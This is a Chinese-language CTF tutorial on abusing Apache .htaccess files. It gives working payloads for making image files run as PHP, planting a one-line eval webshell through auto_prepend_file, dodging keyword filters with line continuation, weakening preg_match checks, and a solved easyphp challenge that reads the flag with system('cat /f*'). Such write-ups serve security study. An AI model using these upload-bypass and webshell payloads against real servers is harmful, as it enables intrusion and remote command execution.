浅谈ctf中.htaccess配置文件的运用
相关的文章为:https://blog.csdn.net/solitudi/article/details/116666720
.htaccess配置文件的基本信息
首先先了解一下有关.htaccess文件是什么,是一个配置文件,用于运行Apache网络服务器软件的网络服务器上,当.htaccess文件被放置在一个 “通过Apache Web服务器加载 “的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。 简单来说就是用来修改配置的
然后补充一点就是在.htaccess配置文件中单行注释符为 #
如果想要在服务器上可以运行.htaccess文件就需要先将主配置文件的AllowOverride 设置为 All
具体的运用
通过.htaccess文件来制定出错页面
1
2
3
4 ErrorDocument 401 /error/401.php
ErrorDocument 403 /error/403.php
ErrorDocument 404 /error/404.php
ErrorDocument 500 /error/500.php
在ctf比赛题目中就有应用:
1
2
3 <If "file('/flag') =~ '/flag{a/'"> //~ 类似为正则匹对
ErrorDocument 404 "y4tacker"
</If>
如果在/flag中有flag{a 就返回y4tacker,从而来枚举出flag,比较少用
SetHandler和ForceType
常见的应用场景 文件上传,这里要严格按照缩进,可能会出现错误:
1
2
3
4
5
6
7
8
9
10 <FilesMatch "aaa.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
//指定将1.jpg通过PHP运行
//或者直接全局都直接使用PHP解析
SetHandler application/x-httpd-php
<Files ~ "\.jpg$"> //~先当于正则匹对 将所有匹对到.jpg结尾的都以PHP解析
ForceType application/x-httpd-php
</Files>
AddHandler
作用就是将什么以什么方式解析,作用域是针对整个服务器或特定目录的,而不是针对单个文件的,所以不需要通过Files来进行规定
1 AddHandler php-script .jpg //将jpg文件当作PHP脚本
AddType
是Apache服务器配置中的一个重要指令,它用于将特定的文件扩展名映射到指定的MIME类型
1 AddType application/x-httpd-php .html
这条指令告诉Apache服务器,当遇到.html扩展名的文件时,应该将它们视为application/x-httpd-php类型的文件,即PHP脚本文件,并由PHP解析器进行处理
php_value
当使用 PHP 作为 Apache 模块时,也可以用 Apache 的配置文件(例如 httpd.conf)和 .htaccess 文件中的指令来修改 php 的配置设定。需要有AllowOverride Options 或AllowOverride All 权限才可以
php_value 设定指定的值。要清除先前设定的值,把 value 设为 none。不要用 php_value 设定布尔值。应该用 php_flag
实际的应用中就有:
1
2
3
4
5
6
7
8
9 php_value auto_prepend_file 1.txt //在主文件解析之前自动解析包含1.txt的内容
php_value auto_append_file 2.txt //在主文件解析后自动解析1.txt的内容
//最好是这样,应用#号为注释符,但是PHP可以正常解析来上传一句话木马
php_value auto_prepend_file .htaccess #<?php @eval($_POST['a']);?>
//关于过滤file: 这样也是可以执行命令的
php_value auto_prepend_fi\
le .htaccess
#<?php phpinfo();
还有一种用法,绕过preg_match匹对,将最大的次数改为0即可,就可以用最大回溯(pcre.backtrack_limit)/递归限制使php正则失效:
1 php_value pcre.backtrack_limit 1 //默认为100000
具体的例题
[羊城杯 2020]easyphp
源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$files = scandir('./');
foreach($files as $file) { //遍历目录,将不是index.php的文件都删除
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) { //通过get来提交文件名和内容
highlight_file(__FILE__);
die();
}
$content = $_GET['content']; //在文件内容里面过滤关键字
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename']; //
if(preg_match("/[^a-z\.]/", $filename) == 1) { //检查文件名是否都由字母和点组成
echo "Hacker";
die();
}
$files = scandir('./'); //再删除一次
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world"); //在后面拼接一段字符串
看逻辑应该是在删除后再创建的文件,但是上传一个普通的php文件,发现上传什么都没有用,无论怎么上传,页面都只是显示Hello, world
这里就可以通过上传.htaccess来修改配置
php_value auto_prepend_file .htaccess
<?php system(‘cat /f*’);?>
但是需要有些修改,还有要将后面的\nHello, world继续拼接否则回报错
这里过滤了file 可以通过变为
php_value auto_prepend_fil\
e .htaccess<?php system(‘cat /f*’);?>\
最后再通过url编码上传即可
最后payload为:
1 ?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/f*')%3B%3F%3E%5C